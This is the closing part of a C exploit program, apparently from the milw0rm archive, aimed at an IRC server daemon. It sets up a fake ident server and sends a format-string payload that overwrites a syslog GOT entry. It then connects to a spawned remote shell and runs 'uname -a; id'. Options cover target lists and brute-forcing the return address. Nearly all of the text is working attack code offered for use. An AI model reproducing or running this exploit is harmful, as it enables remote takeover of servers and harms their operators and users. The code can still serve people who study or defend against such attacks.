/* adding format string */
sprintf(temp, "%%%du%%12$n%%%du%%13$n%%%du%%14$n%%%du%%15$n", cn1,
cn2, cn3, cn4);
strcat(ident, temp);
strcat(ident, "\n");
/* running fake identd */
if(!b) {
printf(" done!\n");
printf(" [*] running fake ident server\t:");
fflush(stdout);
}
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(IDENTD);
localaddr.sin_addr.s_addr = INADDR_ANY;
bzero(&(localaddr.sin_zero), 8);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror(" socket()");
printf("\n");
exit(1);
}
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
(socklen_t)sizeof(reuseaddr)) < 0) {
perror(" setsockopt()");
printf("\n");
exit(1);
}
if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0)
{
perror(" bind()");
printf("\n");
exit(1);
}
if (listen(sock, 1) < 0) {
perror(" listen()");
printf("\n");
exit(1);
}
/* connecting to ircd */
if(!b) {
printf(" %s:%u\n\n", inet_ntoa(localaddr.sin_addr),
ntohs(localaddr.sin_port));
printf(" [*] connecting to ircd...\t:");
fflush(stdout);
}
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket");
printf("\n");
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(ircdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf(" closed\n\n");
exit(1);
}
/* waiting for answer */
if(!b) {
printf(" %s:%u connected\n", inet_ntoa(dest_dir.sin_addr),
ntohs(dest_dir.sin_port));
printf(" [*] waiting for answer...\t:");
fflush(stdout);
}
if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen))
< 0) {
perror(" accept()");
printf("\n");
exit(1);
}
if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) <
0) {
perror(" getpeername()");
printf("\n");
exit(1);
}
if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
perror(" read()");
printf("\n");
exit(1);
}
if(!b) {
printf(" %s:%u connected\n", inet_ntoa(remoteaddr.sin_addr),
ntohs(remoteaddr.sin_port));
fflush(stdout);
/* sending evil ident */
printf(" [*] sending evil ident...\t:");
fflush(stdout);
}
if (write(newsock, ident, strlen(ident)) <= 0) {
perror(" write()");
printf("\n");
exit(1);
}
close(sock);
close(newsock);
close(sockfd);
if(!b) {
printf(" done!\n");
fflush(stdout);
/* checking for shell */
printf(" [*] checking for shell...\t:");
fflush(stdout);
}
shell(host, SHELL);
}
void shell(char *host, int port) {
int sockfd, n;
char buff[BUFFERSIZE], *command = "uname -a; id;\n";
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;
if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket()");
printf("\n");
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
if(b) {
printf("\r\r");
return;
}
else {
printf(" done!\n\n");
printf(" [!] failed!\n\n");
exit(1);
}
}
if(!b) {
printf(" done!");
fflush(stdout);
}
printf("\n\n [!] you have a shell :)\n\n");
fflush(stdout);
send(sockfd, command, strlen(command), 0);
while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {
int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;
fcntl(sfd, F_SETFL, O_NONBLOCK);
res = connect(sfd, serv_addr, addrlen);
if (res >= 0) return res;
FD_ZERO(&rdf);
FD_ZERO(&wrf);
FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;
if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;
if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;
flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);
return 0;
}
return -1;
}
int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 5)
addr = addr + 256;
return addr;
}
void use(char *program) {
printf(" Use: %s -h <host> [options]\n", program);
printf("\n options:\n");
printf(" -h <arg> host or IP\n");
printf(" -p <arg> ircd port (by default 6667)\n");
printf(" -t <arg> type of target system\n");
printf(" -g <arg> syslog GOT address\n");
printf(" -o <arg> offset (RET addr by default
0x0806b000)\n");
printf(" -b brutefoce the RET address\n");
printf(" (from 0x0806b000 + offset)\n");
printf(" -l targets list\n\n");
exit(1);
}
void printlist(void) {
int i=0;
printf(" targets\n");
printf(" -------\n\n");
while(targets[i].num) {
printf(" [%d] %s [%s]\n", targets[i].num, targets[i].os,
targets[i].ircd);
i++;
}
printf("\n");
exit(0);
}
// milw0rm.com [2005-02-03]